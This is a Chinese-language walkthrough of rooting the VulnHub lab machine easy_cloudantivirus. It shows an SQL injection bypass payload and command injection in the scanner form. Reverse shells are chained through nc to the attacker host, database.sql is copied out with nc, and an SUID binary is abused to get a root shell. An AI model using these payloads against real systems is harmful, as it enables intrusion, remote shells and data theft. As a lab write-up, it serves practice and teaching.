靶机介绍:https://www.vulnhub.com/entry/boredhackerblog-cloud-av,453/
靶机下载地址:https://download.vulnhub.com/boredhackerblog/easy_cloudantivirus.ova
通关目标:取得目标靶机的root权限
攻击机:kali(10.0.2.10)
目标靶机:easy_cloudantivirus(10.0.2.13)
涉及攻击方法:
● 主机发现
● 端口扫描
● 目录扫描
● SQL注入
● 暴力破解
● 命令注入
● NC串联
● 信息搜集
● SSH爆破
● 代码审计
● SUID提权
简要流程:
主机发现:
本次打靶使用arping进行主机发现,这款工具几乎在所有的linux发行版本中都会默认安装,适用性更强。
端口扫描:
对10.0.2.13进行全端口扫描:
○ nmap -p- 10.0.2.13
○ nmap -p 1-65535 10.0.2.13
服务版本探测:
8080端口:开放了http服务,Werkzeug是一个工具包,作为web框架的底层库。
WEB侦查+目录扫描:
访问web服务,根据页面的提示信息猜测,需要输入正确的邀请码登录成功后才能使用云杀软扫描器;
有一处form表单,可以尝试sql注入绕过身份验证或者暴力破解枚举邀请码;
同时进行目录扫描,没有什么收获。
SQL注入:
使用bp的Intruder模块进行fuzz测试,建议将键盘上所有的特殊符号作为字典;结果显示,当提交数据为"时Status列和Length列与其余的不同,并触发了服务器端的报错。
注:在任何的编程语言中,符号往往都有特殊的功能,如果服务器存在注入漏洞,那么在注入点注入特殊符号的时候,就会导致服务器代码执行出错,造成语法语义上的歧义,从而使服务器无法正常处理请求。
漏洞分析:password参数可控,用户提交的数据拼接到sql查询语句中。
构造payload" or 10--
,成功登录。
暴力破解:
爆破出的结果是password ,尝试在表单中输入password并提交,成功登录。
字典推荐:
https://github.com/TheKingOfDuck/fuzzDicts https://github.com/rootphantomer/Blasting_dictionary
https://github.com/danielmiessler/SecLists
命令注入:
大胆猜测,当我们在表单输入某个文件名并提交给服务器后,服务器端可能会调用杀软程序执行命令,比如avscan hello,这里可能存在命令注入漏洞,测试一下hello | id
(页面返回结果较慢,用时8s左右)。
NC串联:
证实存在命令注入漏洞,接下来反弹shell,通过上面nmap的扫描结果得知服务器端运行了python2.7开发环境,可以使用python反弹shell代码;
这里介绍另外一种反弹shell方式,nc工具;
首先查看服务器端是否有nc命令hello | which nc
:
kali上开启监听:
在form表单中提交payloadhello | nc 10.0.2.10 1111 -e /bin/bash
,去回连kali的1111端口:
等待一段时间后,发现kali上并没有接收到反弹的shell连接,猜测靶机的nc版本较低,不支持-e参数,使用nc串联来解决;
kali开两个终端,分别监听1111、2222端口;然后在浏览器的表单提交payloadhello | nc 10.0.2.10 1111 | /bin/bash | nc 10.0.2.10 2222
:
信息搜集:
连接建立成功后,已经获得一个scanner低权限用户的权限,ls命令查看到当前目录下存在4个文件,并升级成交互式shell:
database.sql文件十分可疑,应该是Web应用程序的数据库,使用file命令查看文件的格式:
靶机没有安装sqlite环境,只能将其下载到kali上,使用NC传输文件:
kali上执行nc -nvlp 3333 > db.sql
:
反弹shell窗口执行nc 10.0.2.10 3333 < database.sql
:
查看数据库文件内容,可以看到数据表code中只有一个字段password,插入了四条密码:
SSH爆破:
通过上面nmap的扫描结果得知靶机开放了ssh服务,尝试登录目标系统;利用cat /etc/passwd | grep /bin/bash
找出有shell权限的用户,构造用户名和密码字典,然后使用hydra对靶机的ssh服务进行爆破,没有什么收获。
注:/bin/false:用户不能登录系统,并且不会有任何提示,一切系统服务都不能用;
/sbin/nologin:拒绝用户登录系统,会有提示信息,能使用一些系统服务。
SUID提权:
尝试内核漏洞提权,没有找到可以利用的exp:
尝试sudo提权,权限不足:
尝试suid提权,使用find命令查找具有suid权限的文件;update_cloudav是一个具有suid权限的可执行文件,update_cloudav.c是它的源码文件:
进行源码审计,存在system函数,调用freshclam程序(用来升级病毒库),需要带有参数才能正常执行,否则会输出提示信息,并结束main函数:
kali另开两个终端,分别监听4444、5555端口;构造payload执行命令./update_cloudav "xx |nc 10.0.2.10 4444|/bin/bash|nc 10.0.2.10 5555"
,提权成功。
打靶过程的坑:
1.靶机获取不到ip地址:
尝试使用virtualbox运行靶机,单用户模式修改网卡配置以及更换网络连接方式均未果;
使用vmware workstation pro导入靶机镜像,网络连接模式选择的是NAT,开机后按shift进入grub引导页面,按e键,找到内核加载的配置行,删除ro后面的字符,将ro替换为rw single init=/bin/bash
(单用户启动模式),按Ctrl+x,ip a查看当前网卡信息;
使用dhclient命令或ifconfig ens33 down + ifconfig ens33 up获取ip地址(临时生效);
修改网卡配置文件:
ubuntu:vi /etc/netplan/xxx.yaml
redhat:vi /etc/network/interfaces
使用lsb_release -a查看系统版本:
网卡配置文件中的网卡名称与实际网卡名称不一致,导致网卡无法正常启动;将其修改为当前正确的网卡名称,保存配置并重启系统。